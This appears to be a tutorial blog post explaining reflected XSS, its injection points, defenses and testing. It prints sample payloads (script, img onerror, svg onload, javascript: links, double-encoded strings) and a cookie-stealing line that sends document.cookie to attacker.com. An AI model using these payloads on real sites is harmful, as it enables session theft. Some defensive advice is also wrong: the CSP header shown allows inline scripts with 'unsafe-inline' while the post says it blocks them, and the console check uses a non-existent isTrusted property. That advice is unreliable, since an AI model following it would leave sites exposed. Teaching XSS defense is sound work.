阿里云主机折上折
  • 微信号
Current Site:Index > Reflected XSS (Non-Persistent)

Reflected XSS (Non-Persistent)

Author:Chuan Chen 阅读数:31699人阅读 分类: 前端安全

Basic Principles of Reflective XSS (Non-Persistent)

In a reflective XSS attack, malicious scripts are sent to the server as part of a request, and the server returns the content directly to the client without filtering. Attackers typically construct special URLs to trick users into clicking them, causing the script to execute in the victim's browser. Unlike stored XSS, this type of attack is not persisted on the server and requires the user to actively visit the malicious link each time it is triggered.

Typical scenarios include dynamic content rendering in search boxes, error message pages, etc. For example:

// Assume the server directly returns the content of the URL parameter
http://example.com/search?query=<script>alert('XSS')</script>

When the server does not filter the query parameter, this script will be inserted into the HTML and executed.

Key Steps in Attack Implementation

  1. Input Injection Points: Any interface that accepts user input and directly outputs it can become an entry point. Common examples include:

    • URL parameters (GET requests)
    • Form submissions (POST requests)
    • HTTP headers (e.g., Referer, User-Agent)
  2. Lack of Output Filtering: The server fails to escape the following characters:

    < > & " ' / 
    

    Causing the browser to interpret them as HTML tags rather than plain text.

  3. Trigger Conditions: Requires user interaction, such as:

    • Clicking on a phishing link
    • Submitting a forged form
    • Opening a link in a malicious attachment

Demonstration of an Actual Attack Case

Assume there is a weather forecast query page:

// Server-side code (Node.js example)
app.get('/weather', (req, res) => {
  res.send(`<h1>${req.query.city} Weather Forecast</h1>`)
})

An attacker constructs the following link:

/weather?city=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

When a user clicks this link, the current site's cookies will be sent to the attacker's server.

Defense Measures and Technical Implementation

1. Input and Output Filtering

Server-Side Filtering Example (PHP):

$city = htmlspecialchars($_GET['city'], ENT_QUOTES, 'UTF-8');
echo "<h1>{$city} Weather Forecast</h1>";

Frontend Filtering Supplement (JavaScript):

function escapeHtml(unsafe) {
  return unsafe.replace(/[&<"'>]/g, function(match) {
    return {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;'
    }[match];
  });
}

2. Content Security Policy (CSP)

Enforce resource loading restrictions via HTTP headers:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

This can block attacks like:

<script>alert(1)</script>
<img src="x" onerror="alert(1)">

3. Automatic Protection in Modern Frameworks

Frameworks like React/Vue/Angular provide default XSS protection:

// React example: Interpolated content is automatically escaped
function Weather({ city }) {
  return <h1>{city} Weather Forecast</h1>
}

Bypass and Protection in Special Scenarios

1. DOM-Based Reflective XSS

When malicious code is injected via DOM operations rather than server-side:

// Vulnerable code
document.getElementById('result').innerHTML = 
  new URLSearchParams(location.search).get('error')

An attacker can construct:

?error=<img src=x onerror=alert(1)>

Defense Solution:

// Use textContent instead of innerHTML
element.textContent = userInput

2. URL Encoding Obfuscation Attacks

Attackers may use multiple encodings to bypass simple filters:

%3Cscript%3Ealert(1)%3C/script%3E

Uniform decoding is required before filtering:

decodeURIComponent(input)

3. Non-Script Attack Vectors

Even if <script> is filtered, attacks can still be triggered via other methods:

<!-- SVG vector -->
<svg onload="alert(1)">
<!-- Pseudo-protocol -->
<a href="javascript:alert(1)">Click</a>

A complete blacklist or whitelist filtering strategy is needed.

Testing and Verification Methods

  1. Manual Testing: Attempt to inject basic payloads:

    '"><img src=x onerror=alert(1)>
    
  2. Automated Tools:

    • OWASP ZAP
    • Burp Suite Scanner
    • XSS Hunter (for blind detection)
  3. Browser Console Detection:

    // Check if unauthorized scripts are executed
    Array.from(document.scripts).forEach(script => {
      if(!script.isTrusted) console.warn('Untrusted script:', script.src)
    })
    

Enterprise-Level Protection Architecture Design

  1. Edge Protection Layer:

    • Web Application Firewall (WAF) rules:
      SecRule ARGS "@detectXSS" "id:101,deny"
      
  2. Runtime Protection:

    • Use Trusted Types API:
      // Enforce type checking
      if (typeof trustedTypes !== 'undefined') {
        trustedTypes.createPolicy('default', {
          createHTML: input => sanitize(input)
        });
      }
      
  3. Monitoring System:

    • Real-time log analysis for suspicious parameters
    • CSP violation report collection

Common Developer Misconceptions

  1. Over-Reliance on Frontend Filtering:

    // Incorrect example: Only frontend filtering
    function search() {
      let query = document.getElementById('input').value.replace('<script>', '')
      // Still vulnerable to bypass
    }
    
  2. Ignoring Double Encoding Scenarios:

    %2522onload%253Dalert(1)  // Double-encoded quotes
    
  3. Incorrect Use of Security Functions:

    // Incorrect: Misuse of escape function
    element.innerHTML = escapeHtml(userInput) // Some attributes can still execute
    

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.